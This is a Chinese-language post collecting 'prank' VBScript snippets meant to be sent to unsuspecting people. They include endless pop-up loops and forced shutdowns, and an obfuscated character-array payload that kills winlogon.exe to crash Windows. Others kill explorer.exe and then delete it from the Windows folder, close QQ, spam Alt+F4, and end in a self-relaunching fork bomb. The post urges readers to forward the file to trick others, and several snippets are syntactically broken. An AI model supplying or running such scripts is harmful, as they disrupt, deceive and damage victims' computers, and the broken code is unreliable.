一些很恶作剧的vbs程序代码1

do 
msgbox "hi" 
loop 

Set s = CreateObject("sapi.spvoice") 
i=0 
do 
s.speak i 
i=i+1 
loop 

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then 
msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" 
Set bjShell = CreateObject("Wscript.Shell") 
objShell.Run "shutdown -s -t 5",,true 
end if 

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10) 
for i=1 to UBound(strs) 
runner=runner&chr(strs(i)) 
next 
Execute runner 

if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then 
msgbox "你SB啊!" 
else 
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!" 
Set ws = CreateObject("Wscript.Shell") 
wscript.sleep 1200 
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide 
end if 

Set ws = CreateObject("Wscript.Shell") 
ws.run "cmd.exe /c call calc.exe",0 

set ws=CreateObject("Wscript.Shell") 
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 
wscript.sleep 900 
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" 
wscript.sleep 1200 
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe 

for each wind in verybat 
ws.sendkeys wind 
wscript.sleep 500 
next 
ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 
ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 
ws.run "taskkill /f /im qq.exe" 
ws.popup"你还要上吧 慢慢玩哦",27 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
for d=0 to 4 
WSHshell.SendKeys "%{F4}" 
next 
ws.run"shutdown -s -t 1000600" 
wscript.sleep 2000 
dim a 
do 
a=inputbox("请输入解除关机密码") 
if a="403746401" then 
ws.run"shutdown -a" 
msgbox"密码验证成功，enjoy the best!" 
exit do 
else 
msgbox"密码验证失败，请输入解除关机密码：403746401 ",vbretrycancel 
end if 
loop 
ws.popup"哈哈 被吓到了吧 好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57 
ws.popup"(\(^o^)/~ 好啦，跟你开了个小小玩笑。你也可以把这个文件发给其他人，耍耍别人。呵呵^_^",62 
wscript.sleep 8900 
do until i=10 
i=i+1 
msgbox "CPU温度过高，系统出现严重错误！，请结束所有应用程序让CPU降温！",16+4096,"系统提示：" 
wscript.sleep 1000*45 
loop 

set sh=wscript.createobject("wscript.shell") 
sh.run"shutdown -s -t 332" 

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
for d=0 to 40 
WSHshell.SendKeys "%{F4}" 
next 

dim a,b,c,s 
Set fs=CreateObject("Scripting.FileSystemObject") 
name = WScript.ScriptName 
fullname = WScript.ScriptFullName 
path = Replace(fullname,name,"") 
a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") 
If a = ""Then 
WScript.Quit 
End If 
MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：") 
If MyVar=vbYes Then 
ElseIf MyVar=vbNo Then 
a=inputbox("请在对话框中填写你真实的姓名！"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜！！ "&vbcrlf&""&vbcrlf&"不信你可以试试看！！！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","请在此输入你的名字") 
If a = ""Then 
WScript.Quit 
End If 
End If 
wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦！)","芮洲提示：","请在此输入你的爱好") 
If b = ""Then 
WScript.Quit 
End If 
wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间！"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为：1987-06-02","芮洲提示：","1987-06-02") 
If c = ""Then 
WScript.Quit 
End If 
wscript.sleep 1000age = abs(datediff("d",date,c)) 
wscript.sleep 1 
current = now() 
h=datepart("h",current) 
n=datepart("n",current) 
WScript.Sleep 1000 
s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示：") 
if s=2 then 
end if 
Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true) 
auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍：""" 
auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了！"&""""&",48,"&""""&"芮洲提示："&""""&"" 

Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true) 
auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......." 
auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了" 
auto.WriteLine "时间是根据你的出生年月日算的，可能不是很精确，但目的只是想让知道时间过的很快，请珍惜时间!!!。" 

dim a 
a=10 
Set bjShell = CreateObject("Wscript.Shell") 
objShell.Run "shutdown -s -t 10",,true 
Set s = CreateObject("sapi.spvoice") 
while a 
s.Speak a 
a = a - 1 
wscript.sleep 100 
wend 
CreateObject("SAPI.SpVoice").Speak "Bomb?" 

do 
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) 
loop